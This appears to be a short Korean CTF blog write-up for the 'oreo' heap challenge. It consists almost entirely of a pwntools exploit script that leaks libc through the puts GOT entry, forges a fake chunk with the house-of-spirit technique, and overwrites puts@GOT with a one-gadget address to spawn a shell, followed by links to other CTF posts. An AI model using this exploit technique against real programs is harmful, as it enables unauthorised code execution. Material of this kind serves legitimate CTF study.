간단한 house of spirit 문제!
바이너리를 꼼꼼히 분석하면 취약점이 바로 보인다!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
from pwn import *
s = process("./oreo")
elf = ELF("./oreo")
libc = ELF("./libc.so.6")
s.recvuntil("Exit!")
def add(name,discription):
s.sendline("1")
s.sendline(name)
s.sendline(discription)
def show():
s.sendline("2")
def order():
s.sendline("3")
def leave(submit):
s.sendline("4")
s.sendline(submit)
def show_stats():
s.sendline("5")
def quit():
s.sendline("6")
gdb.attach(s)
add("\x00"*27+p32(elf.got['puts']),"1"*8)
show()
s.recvuntil("Name:")
s.recvuntil("Name:")
s.recvuntil("Description: ")
leak = u32(s.recv(4))
print "leak : " + hex(leak)
libc_base = leak - libc.symbols['puts']
print "libc_base : " + hex(libc_base)
one_shot = libc_base + 0x5fbc5
leave("\x00"*36+p32(0x41))
for i in range(0x40-1):
add("A"*27+p32(0x0804A2A0+8),"2"*8)
order()
add("A",p32(elf.got['puts']))
leave(p32(one_shot))
show_stats()
s.interactive()
|
cs |
[BSidesSF_2019] runitplusplus (0) | 2019.11.17 |
---|---|
[RCTF_2018] stringer (0) | 2019.11.17 |
[SECCON_2018] kindvm (0) | 2019.11.11 |
[Codegate_2019] aeiou (0) | 2019.11.11 |
[RedpwnCTF_2019] Dennis Says (0) | 2019.08.17 |